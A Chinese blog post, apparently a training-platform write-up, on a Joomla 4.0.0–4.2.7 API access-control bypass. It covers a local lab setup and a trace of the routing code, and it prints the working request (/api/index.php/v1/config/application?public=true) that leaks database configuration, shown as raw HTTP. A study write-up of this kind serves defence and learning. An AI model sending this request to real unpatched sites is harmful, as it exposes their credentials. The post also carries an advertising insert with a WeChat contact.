漏洞简介

  ​

  在 Joomla! 版本为4.0.0 到 4.2.7中发现了一个漏洞,在Joomla受影响的版本中由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息。

影响版本

  4.0.0 <= Joomla <= 4.2.7

环境搭建

  文件下载地址https://downloads.joomla.org/cms/joomla4/4-2-7/Joomla_4-2-7-Stable-Full_Package.zip?format=zip

  利用 phpstudy 搭建漏洞环境

  我们利用 phpstudy 来搭建环境,选择 Apache2.4.39 + MySQL5.7.26+ php7.4.3 ,同时利用 PhpStorm 来实现对项目的调试

  ​

  安装完成后

  前台

  ​

  后台

  ​

漏洞复现

  构造路由/api/index.php/v1/config/application?public=true

【—-帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

  返回了数据库的相关信息

  ​

  ​

漏洞分析

  经过调试分析发现是对 api 路径下的身份校验进行了绕过,默认在未登录的情况下访问 返回{"errors":[{"title":"Forbidden"}]}

  所以就针对于 api 路径下的身份校验进行具体分析

  ​api/index.php

  ​

  ​api/includes/app.php

  ​

  ​\Joomla\CMS\Application\CMSApplication::execute

  ​

  ​\Joomla\CMS\Application\ApiApplication::doExecute

  ​

  其中的$this->route();​ 对应了路由应用程序

  ​\Joomla\CMS\Application\ApiApplication::route

  ​

  ​

  ​$router​ 对应了 api 下所有的路由信息,之后调用parseApiRoute​ 对路由进行处理

  ​\Joomla\CMS\Router\ApiRouter::parseApiRoute

  ​

  ​

  当 public 为false 时,是禁止外部访问的

GET /api/index.php/v1/config/application HTTP/1.1Host: joomla.testUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie:XDEBUG_SESSION=PHPSTORMConnection: close

  ​

  ‍

  但是通过路径传入的值在之后可以覆盖替换原本的值

  ​

GET /api/index.php/v1/config/application?public=true HTTP/1.1Host: joomla.testUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie:XDEBUG_SESSION=PHPSTORMConnection: close

  ‍

  ​

更多靶场实验练习、网安学习资料,请点击这里>>

  ‍

合天智汇:合天网络靶场、网安实战虚拟环境